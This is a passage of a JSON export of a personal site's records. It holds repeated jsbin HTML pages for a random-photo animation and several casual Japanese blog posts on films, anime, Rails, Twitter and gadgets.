rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 50){\r\n $('.photo').first().remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:05:00.000Z","updated_at":"2013-11-22T16:05:00.000Z"},{"id":2544,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n \r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 25){\r\n $('.photo').first().remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:05:08.000Z","updated_at":"2013-11-22T16:05:08.000Z"},{"id":2545,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n \r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 40){\r\n $('.photo').first().remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:05:33.000Z","updated_at":"2013-11-22T16:05:33.000Z"},{"id":2546,"name":"yui","body":"raw\r\nmime html\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n \u003c!--\r\n Created using jsbin.com\r\n Source can be edited via http://jsbin.com/AkotAqo/2/edit\r\n --\u003e\r\n \u003chead\u003e\r\n \u003cscript src=\"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js\"\u003e\u003c/script\u003e\r\n \u003cmeta charset=utf-8 /\u003e\r\n \u003ctitle\u003eRandom Yui Ogura\u003c/title\u003e\r\n\r\n \u003cstyle id=\"jsbin-css\"\u003e\r\n html, body, #main, #viewer {\r\n width: 100%;\r\n height: 100%;\r\n margin: 0;\r\n padding: 0;\r\n overflow: hidden;\r\n }\r\n\r\n #config {\r\n margin: 12px 24px;\r\n }\r\n\r\n #box {\r\n position: relative;\r\n width: 100%;\r\n height: 100%; \r\n }\r\n\r\n .photo {\r\n margin: 0;\r\n padding: 0;\r\n position: absolute;\r\n }\r\n .photo.transition {\r\n -webkit-transition: all 3s ease-in-out;\r\n -moz-transition: all 3s ease-in-out;\r\n -o-transition: all 3s ease-in-out;\r\n transition: all 3s ease-in-out;\r\n }\r\n\r\n .photo img {\r\n max-width: 140px;\r\n margin: 0;\r\n padding: 3px;\r\n background: white;\r\n box-shadow: 3px 3px 6px rgba(0, 0, 0, .5);\r\n border: 1px solid rgba(0, 0, 0, .2);\r\n }\r\n\r\n .error {\r\n border: 1px solid red;\r\n }\r\n\r\n \u003c/style\u003e\r\n \u003c/head\u003e\r\n \u003cbody\u003e\r\n \u003cdiv id=\"main\"\u003e\r\n \u003cdiv id=\"viewer\"\u003e\r\n \u003cdiv id=\"box\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e \r\n \u003cscript\u003e\r\n var YuiOguraViewer = function() { this.initialize.apply(this, arguments); };\r\n YuiOguraViewer.prototype = {\r\n initialize: function(options) {\r\n var settings = $.extend({\r\n container: \"#box\",\r\n photoSize: 250\r\n }, options);\r\n\r\n this.container = $(settings.container);\r\n this.photoSize = settings.photoSize;\r\n this.posts = [];\r\n },\r\n randInt: function(min, max) {\r\n return Math.floor(min + (Math.random() * (max - min)));\r\n },\r\n appendItem: function(from, to) {\r\n var self = this;\r\n var post = self.posts.shift();\r\n var $image = $(\"\u003cimg\u003e\")\r\n .attr({\r\n src: \"http://api.s5r.jp/yui.jpg?\" + (new Date()).getTime()\r\n });\r\n $image.load(function() {\r\n var $wrapper = $(\"\u003cdiv\u003e\")\r\n .addClass(\"photo transition\")\r\n .css({\r\n top: self.randInt(0, 80) + \"%\",\r\n left: self.randInt(0, 80) + \"%\"\r\n })\r\n .css(from)\r\n .append($image)\r\n .appendTo(self.container);\r\n\r\n setTimeout(function() { $wrapper.css(to); }, 1);\r\n $.each([\"webkitTransitionEnd\", \"oTransitionEnd\", \"transitionend\"], function(i, name) {\r\n $wrapper.on(name, function() {\r\n $wrapper.removeClass(\"transition\");\r\n \r\n });\r\n });\r\n });\r\n },\r\n fall: function() {\r\n var rotateFrom = this.randInt(-30, 30);\r\n var rotateTo = this.randInt(-30, 30);\r\n\r\n this.appendItem({\r\n \"opacity\": 0.0,\r\n \"-webkit-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-moz-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"-o-transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\",\r\n \"transform\": \"scale(3.0) rotate(\"+rotateFrom+\"deg)\"\r\n }, {\r\n \"opacity\": 1.0,\r\n \"-webkit-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-moz-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"-o-transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\",\r\n \"transform\": \"scale(1.0) rotate(\"+rotateTo+\"deg)\"\r\n });\r\n }\r\n };\r\n\r\n $(function() {\r\n viewer = new YuiOguraViewer({\r\n container: \"#box\"\r\n });\r\n setInterval(function() {\r\n viewer.fall();\r\n if($('.photo').length \u003e 60){\r\n $('.photo').first().fadeOut(\"slow\").remove();\r\n }\r\n }, 250);\r\n });\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n \u003c/html\u003e","created_at":"2013-11-22T16:06:58.000Z","updated_at":"2013-11-22T16:06:58.000Z"},{"id":2547,"name":"text/悪の法則という映画","body":"%blog%\r\n\r\nこの映画「トラックで運搬される麻薬とその周辺の人々」というような映画で、ストーリーは典型的な悲劇です。\r\n\r\n脚本はいかにもコーマック・マッカーシー的で、この時点で見る人を選ぶ映画です。有名俳優の出演や有名監督の作品であることに騙されちゃいけません。\r\n\r\nという上記のようなレビューをしている人が多いような気がするのですが、監督のリドリー・スコットを舐めちゃいけません。この齢七十五を数えるハリウッドを代表する「名監督」はうんことおちんちんが大好きという幼児のような感性をそのまま維持している、偉大な老人です。\r\n\r\n先程書いた通り、この映画では「トラック」で運搬される麻薬というのがストーリーの中心になっています。そしてセリフの上では「トラック」としか言及されません。脚本では「トラック」が想定されていたことが伺えます。\r\n\r\nそこでなんとリドリー・スコットは「トラック」を「バキュームカー」にするというアイディアをぶちこんできました。\r\n\r\nその結果何が起きたか。映画全体を通じて、糞と尿が映りまくるという結果になっています。いかにもコーマック・マッカーシー的な哲学的なセリフとどこか幻惑的なメキシコの風景が描写されたかと思うと、うんこをホースで洗いながすおっさん達の様子が描写される。銃撃戦のシーンがあったかと思うと被弾したバキュームカーからおしっこが噴出する様子が描写される。\r\n\r\n終始そんな具合です。ジャッカスとか好きな人は観たほうがいいと思います。","created_at":"2013-11-24T03:02:41.000Z","updated_at":"2013-11-24T03:02:41.000Z"},{"id":2548,"name":"text/Twitter が Ruby を捨てた話","body":"%blog%\r\n\r\nが出てくる度に捨ててない証拠出てくるけどどうなってんの?\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e圧倒的 to_s 感 \u003ca href=\"http://t.co/vilzQjaHdL\"\u003epic.twitter.com/vilzQjaHdL\u003c/a\u003e\u003c/p\u003e\u0026mdash; つつみともよ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/403890545732235264\"\u003eNovember 22, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-11-24T15:18:01.000Z","updated_at":"2013-11-24T15:18:01.000Z"},{"id":2549,"name":"text/Twitter が Ruby を捨てた話","body":"%blog%\r\n\r\nが出てくる度に捨ててない証拠出てくるけどどうなってんの?\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e圧倒的 to_s 感 \u003ca href=\"http://t.co/vilzQjaHdL\"\u003epic.twitter.com/vilzQjaHdL\u003c/a\u003e\u003c/p\u003e— つつみともよ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/403890545732235264\"\u003eNovember 22, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n# 追記\r\n;\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e to_s感っていうのがruby書かないからピンとこないけどこれってObjective-Cでオブジェクトを文字列にした時も同じなんですけどどうなんですか \u003ca href=\"http://t.co/IGnAkBPneL\"\u003ehttp://t.co/IGnAkBPneL\u003c/a\u003e\u003c/p\u003e\u0026mdash; laiso(レイソー) (@laiso) \u003ca href=\"https://twitter.com/laiso/statuses/404634580499431424\"\u003eNovember 24, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nとのことです。","created_at":"2013-11-24T15:37:35.000Z","updated_at":"2013-11-24T15:37:35.000Z"},{"id":2550,"name":"text/Twitter が Ruby を捨てた話","body":"%blog%\r\n\r\nが出てくる度に捨ててない証拠出てくるけどどうなってんの?\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e圧倒的 to_s 感 \u003ca href=\"http://t.co/vilzQjaHdL\"\u003epic.twitter.com/vilzQjaHdL\u003c/a\u003e\u003c/p\u003e— つつみともよ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/403890545732235264\"\u003eNovember 22, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n# 追記\r\n;\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e to_s感っていうのがruby書かないからピンとこないけどこれってObjective-Cでオブジェクトを文字列にした時も同じなんですけどどうなんですか \u003ca href=\"http://t.co/IGnAkBPneL\"\u003ehttp://t.co/IGnAkBPneL\u003c/a\u003e\u003c/p\u003e— laiso(レイソー) (@laiso) \u003ca href=\"https://twitter.com/laiso/statuses/404634580499431424\"\u003eNovember 24, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/laiso\"\u003e@laiso\u003c/a\u003e \u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e .inspect なら頭に # 入るはずだし T1AmbientPushNotification てクラス名も ObjC 感出てるし iPhone アプリ側のあれっぽいですね\u003c/p\u003e\u0026mdash; 主席 (@uasi) \u003ca href=\"https://twitter.com/uasi/statuses/404638122048102400\"\u003eNovember 24, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nとのことです。","created_at":"2013-11-24T15:51:09.000Z","updated_at":"2013-11-24T15:51:09.000Z"},{"id":2551,"name":"text/佐土原かおりの件","body":"%blog%\r\n\r\n[これ](http://www.production-ace.co.jp/information/info20131126/)の話。\r\n\r\n適当に調べて頂きたいのですが、佐土原かおりが双極性障害を患っているという話が流布されている件に関するリリースと思われます。\r\n\r\n大変にまずい状況であると僕は思っていまして、\r\n\r\n- 事実無根である場合\r\n - 双極性障害であると思われることが、佐土原かおりのイメージダウンに繋がるという差別的な見解を示すことになる\r\n- 事実である場合\r\n - 周囲の人が病気へ何らの理解も無い可能性が非常に高い\r\n\r\nのどちらかということになります。正味後者の可能性が高いんじゃないかと思っているところです。\r\n\r\nまあ俺に出来ることなど何もない。","created_at":"2013-11-28T13:57:06.000Z","updated_at":"2013-11-28T13:57:06.000Z"},{"id":2552,"name":"kure.ssig33.com","body":"title 誕生日プレゼントくれ\r\n# ssig33 は 12/15 が誕生日です!!!!\r\n## [Amazon ウィッシュリスト経由でなんかくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2013-12-02T01:17:10.000Z","updated_at":"2013-12-02T01:17:10.000Z"},{"id":2553,"name":"text/VAIO Pro の話","body":"%blog%\r\n\r\n- http://shyouhei.tumblr.com/post/68737335507/vaio-pro-11-vaio\r\n\r\nこちらに書かれているように 5000 円の拡張保証(水ぶっかけても直してくれるやつ)は絶対つけたほうがいいです。キーボードすぐぶっ壊れます。「修理に 2 週間かかるかも」とか脅しが書かれていますが、東京近郊に住んでいる人なら銀座のソニーストアに持ってくと 3-5 日でだいたい直ります。\r\n\r\nソニーストアでは老人が理不尽な要求を掲げながらまだ動いている CLIE を振り回す最高の光景をいつでも見ることが出来ます。","created_at":"2013-12-03T03:10:35.000Z","updated_at":"2013-12-03T03:10:35.000Z"},{"id":2554,"name":"text/ガールズ\u0026パンツァーと技術","body":"%blog%\r\n\r\n前おき: なんで今さらこんなもん書いてんだという突っ込みは勘弁してください。\r\n\r\n私はミリタリーマニアです。最近は戦闘機の FCS のプログラミングモデルについて興味があり、限られた資料から実際どういう風に開発が行なわれているかなどを学んでいます。\r\n\r\n普段いくつかの仕事をしていて、収入のかなりの部分を Linux 上で動く Web アプリケーション開発から得ている身としては、商用 RTOS 上で動くミッションクリティカルな(まさにクリティカルです)システムの開発手法や文化の違いには驚かされることが多くあります。\r\n\r\nまた 2 歳のころからアニメばかり見ること二十数余年、あまり常識の無い人間としても育ってきました。\r\n\r\nそんな私がガールズ&パンツァーを見るのは当然のことだったと言えます。そしてあのアニメを見て以来延々ともやもやしていることがあるので書いておきます。\r\n\r\nガールズ&パンツァーに限った話ではないのですが、この手の作品って技術に対して敬意というのがなさすぎるんじゃないかというのを非常に強く思ったんです。\r\n\r\nガールズ&パンツァー、戦車を修理して操縦出来るようになるまでがあっさり片付けられます。戦車を修理する技術を得るのも、戦車を操縦する技術を得るのも実際大変なことで、その技術を得るまでの課程にはドラマがあってしかるべきです。具体的にアニメが 4 話から 6 話はそれで作れると思います。あのアニメにおいてはそういった技術が「無料」であるかのように描かれていて、当時それが非常に納得出来ませんでした。こんな脚本を「アリ」と見做す監督が指揮する現場は絶対に地獄であろうと思いました。そしたら実際制作遅延したのでざまあみやがれと思った。\r\n\r\nなんで今さらこんな話を書こうかと思ったかというと、アルペジオがあるからです。あれも本当に糞だと思っています。「メカにこだわった」ということを制作サイドは散々言っていますが、 1 話冒頭からして全く駄目です。「艦対地ミサイルがヘルファイアミサイルのような形をしている」「ミサイルが低空侵入している描写がない」「それにも関わらず人類側が迎撃に苦労する(霧の艦隊の ECM が強力という設定でも地上のレーダーサイトはいくらなんでも使えるはず)」「巡航ミサイルに対する迎撃の対空システムがミサイル防衛システムという名前になっている」「敵艦が艦砲射撃主体の近接攻撃をしてくることが分かっているのに装甲されていない艦艇」というのが開始 3 分以内に発生します。\r\n\r\n結局のところ「メカが好き」と言っている人達、これまで人類が積み重ねてきた技術体系には興味がなくて、ゴテゴテしてる見た目が好きなだけなんだろうなと思ったわけです。\r\n\r\n同じようなことを[星を創る者たち](http://www.amazon.co.jp/dp/4309622224/)を読んだ時にも思って、この小説は非常に技術への敬意がある小説なのですが、前半部はさすがに古さがあります。第一章は月にトンネルを掘る話なのですが、掘削機械を使って作ったトンネルに「支保工」を立てるとあります。セグメントを使ってどんどんトンネルを作っていく現代的な工法であればその過程は必要無い訳で、トンネル内面に巻き立てを行なって構造をつくる在来工法が想定されていることが伺えます。\r\n\r\nこうした描写の古さは執筆時期と青函トンネルの工事がモデルになっていることなどからしょうがないのですが、「ハード SF ファン」を自称してる人達がここに突っ込んでないのどうなってんだ糞が。\r\n\r\nとくにまとめとかはない。","created_at":"2013-12-04T02:28:25.000Z","updated_at":"2013-12-04T02:28:25.000Z"},{"id":2555,"name":"text/ガールズ\u0026パンツァーと技術","body":"%blog%\r\n\r\n前おき: なんで今さらこんなもん書いてんだという突っ込みは勘弁してください。\r\n\r\n私はミリタリーマニアです。最近は戦闘機の FCS のプログラミングモデルについて興味があり、限られた資料から実際どういう風に開発が行なわれているかなどを学んでいます。\r\n\r\n普段いくつかの仕事をしていて、収入のかなりの部分を Linux 上で動く Web アプリケーション開発から得ている身としては、商用 RTOS 上で動くミッションクリティカルな(まさにクリティカルです)システムの開発手法や文化の違いには驚かされることが多くあります。\r\n\r\nまた 2 歳のころからアニメばかり見ること二十数余年、あまり常識の無い人間としても育ってきました。\r\n\r\nそんな私がガールズ&パンツァーを見るのは当然のことだったと言えます。そしてあのアニメを見て以来延々ともやもやしていることがあるので書いておきます。\r\n\r\nガールズ&パンツァーに限った話ではないのですが、この手の作品って技術に対して敬意というのがなさすぎるんじゃないかというのを非常に強く思ったんです。\r\n\r\nガールズ&パンツァー、戦車を修理して操縦出来るようになるまでがあっさり片付けられます。戦車を修理する技術を得るのも、戦車を操縦する技術を得るのも実際大変なことで、その技術を得るまでの課程にはドラマがあってしかるべきです。具体的にアニメが 4 話から 6 話はそれで作れると思います。あのアニメにおいてはそういった技術が「無料」であるかのように描かれていて、当時それが非常に納得出来ませんでした。こんな脚本を「アリ」と見做す監督が指揮する現場は絶対に地獄であろうと思いました。そしたら実際制作遅延したのでざまあみやがれと思った。\r\n\r\nなんで今さらこんな話を書こうかと思ったかというと、アルペジオがあるからです。あれも本当に糞だと思っています。「メカにこだわった」ということを制作サイドは散々言っていますが、 1 話冒頭からして全く駄目です。「艦対地ミサイルがヘルファイアミサイルのような形をしている」「ミサイルが低空侵入している描写がない」「それにも関わらず人類側が迎撃に苦労する(霧の艦隊の ECM が強力という設定でも地上のレーダーサイトはいくらなんでも使えるはず)」「巡航ミサイルに対する迎撃の対空システムがミサイル防衛システムという名前になっている」「敵艦が艦砲射撃主体の近接攻撃をしてくることが分かっているのに装甲されていない艦艇」というのが開始 3 分以内に発生します。\r\n\r\n結局のところ「メカが好き」と言っている人達、これまで人類が積み重ねてきた技術体系には興味がなくて、ゴテゴテしてる見た目が好きなだけなんだろうなと思ったわけです。\r\n\r\n同じようなことを[星を創る者たち](http://www.amazon.co.jp/dp/4309622224/)を読んだ時にも思って、この小説は非常に技術への敬意がある小説なのですが、前半部はさすがに古さがあります。第一章は月にトンネルを掘る話なのですが、掘削機械を使って作ったトンネルに「支保工」を立てるとあります。セグメントを使ってどんどんトンネルを作っていくとか、コンクリーートを吹き付けロックボルトを打ち込み地山の保持力を活用する(ちゃんと地質調査しないとなんともいえないけど月ではこっちのほうがいいかも)とかの現代的な工法であればその過程は必要無い訳で、トンネル内面に巻き立てを行なって構造をつくる在来工法が想定されていることが伺えます。\r\n\r\nこうした描写の古さは執筆時期と青函トンネルの工事がモデルになっていることなどからしょうがないのですが、「ハード SF ファン」を自称してる人達がここに突っ込んでないのどうなってんだ糞が。\r\n\r\nとくにまとめとかはない。","created_at":"2013-12-04T04:41:05.000Z","updated_at":"2013-12-04T04:41:05.000Z"},{"id":2556,"name":"text/Rails のファットモデル対策","body":"%blog%\r\n\r\n- http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns\r\n\r\nこれ読めばいいんじゃねえかと思います。 Rails を設計している人達は\r\n\r\n- module に切り出せばそれでいいだろ糞\r\n- include された結果生成されるドメインモデルが超絶巨大だろうが知ったことか糞\r\n\r\nという発想で生きていることが伺えます。 module に切り出す粒度はどうするかとかこれはこれで難しいとろはあるのですが簡単な考え方ですし、現実的な落とし所がこの辺にある場合は多いと思います。\r\n\r\n無意味に複雑なやり方を導入しようとする人間を殺せ。","created_at":"2013-12-04T05:12:58.000Z","updated_at":"2013-12-04T05:12:58.000Z"},{"id":2557,"name":"text/ガールズ\u0026パンツァーと技術","body":"%blog%\r\n\r\n前おき: なんで今さらこんなもん書いてんだという突っ込みは勘弁してください。\r\n\r\n私はミリタリーマニアです。最近は戦闘機の FCS のプログラミングモデルについて興味があり、限られた資料から実際どういう風に開発が行なわれているかなどを学んでいます。\r\n\r\n普段いくつかの仕事をしていて、収入のかなりの部分を Linux 上で動く Web アプリケーション開発から得ている身としては、商用 RTOS 上で動くミッションクリティカルな(まさにクリティカルです)システムの開発手法や文化の違いには驚かされることが多くあります。\r\n\r\nまた 2 歳のころからアニメばかり見ること二十数余年、あまり常識の無い人間としても育ってきました。\r\n\r\nそんな私がガールズ&パンツァーを見るのは当然のことだったと言えます。そしてあのアニメを見て以来延々ともやもやしていることがあるので書いておきます。\r\n\r\nガールズ&パンツァーに限った話ではないのですが、この手の作品って技術に対して敬意というのがなさすぎるんじゃないかというのを非常に強く思ったんです。\r\n\r\nガールズ&パンツァー、戦車を修理して操縦出来るようになるまでがあっさり片付けられます。戦車を修理する技術を得るのも、戦車を操縦する技術を得るのも実際大変なことで、その技術を得るまでの課程にはドラマがあってしかるべきです。具体的にアニメが 4 話から 6 